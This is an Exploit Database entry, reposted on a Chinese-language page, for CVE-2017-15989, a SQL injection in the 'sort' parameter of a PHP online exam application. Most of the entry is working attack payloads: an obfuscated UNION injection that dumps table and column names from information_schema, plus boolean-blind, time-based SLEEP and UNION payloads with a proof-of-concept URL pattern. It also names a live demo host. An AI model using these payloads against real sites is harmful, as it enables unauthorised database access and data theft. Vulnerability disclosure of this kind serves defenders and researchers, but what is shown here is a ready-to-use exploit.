Online Exam Test Application – ‘sort’ SQL Injection

• Exploit Database
• 14 阅读

• 作者： Ihsan Sencan
  日期： 2017-10-30
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/43070/

• # # # # # 
  # Exploit Title: Online Exam Test Application - SQL Injection
  # Dork: N/A
  # Date: 30.10.2017
  # Vendor Homepage: http://www.phpscriptsmall.com/
  # Software Link: http://www.exclusivescript.com/product/1z2e4672468/php-scripts/online-exam-test-application
  # Demo: http://198.38.86.159/~onlineexamboard/
  # Version: N/A
  # Category: Webapps
  # Tested on: WiN7_x64/KaLiLinuX_x64
  # CVE: CVE-2017-15989
  # # # # #
  # Exploit Author: Ihsan Sencan
  # Author Web: http://ihsan.net
  # Author Social: @ihsansencan
  # # # # #
  # Description:
  # The vulnerability allows an attacker to inject sql commands....
  # 
  # Proof of Concept: 
  # 
  # http://localhost/[PATH]/resources.php?action=category&sort=[SQL]
  # 
  # -8++/*!07777UNION*/+/*!07777SELECT*/+0x31,0x32,0x496873616e2053656e63616e,(/*!07777Select*/+export_set(5,@:=0,(/*!07777select*/+count(*)/*!07777from*/(information_schema.columns)where@:=export_set(5,export_set(5,@,/*!07777table_name*/,0x3c6c693e,2),/*!07777column_name*/,0xa3a,2)),@,2))--+-
  # 
  # Parameter: sort (GET)
  # Type: boolean-based blind
  # Title: AND boolean-based blind - WHERE or HAVING clause
  # Payload: action=category&sort=8 AND 5525=5525
  # 
  # Type: AND/OR time-based blind
  # Title: MySQL >= 5.0.12 AND time-based blind
  # Payload: action=category&sort=8 AND SLEEP(5)
  # 
  # Type: UNION query
  # Title: Generic UNION query (NULL) - 4 columns
  # Payload: action=category&sort=8 UNION ALL SELECT NULL,NULL,CONCAT(0x7176707a71,0x77654f6a51797a6c7755546b54574f68467842734c4268517654667a6e584e63634871574f4f454e,0x716b766a71),NULL-- Yhyw
  # 	
  # Etc..
  # # # # #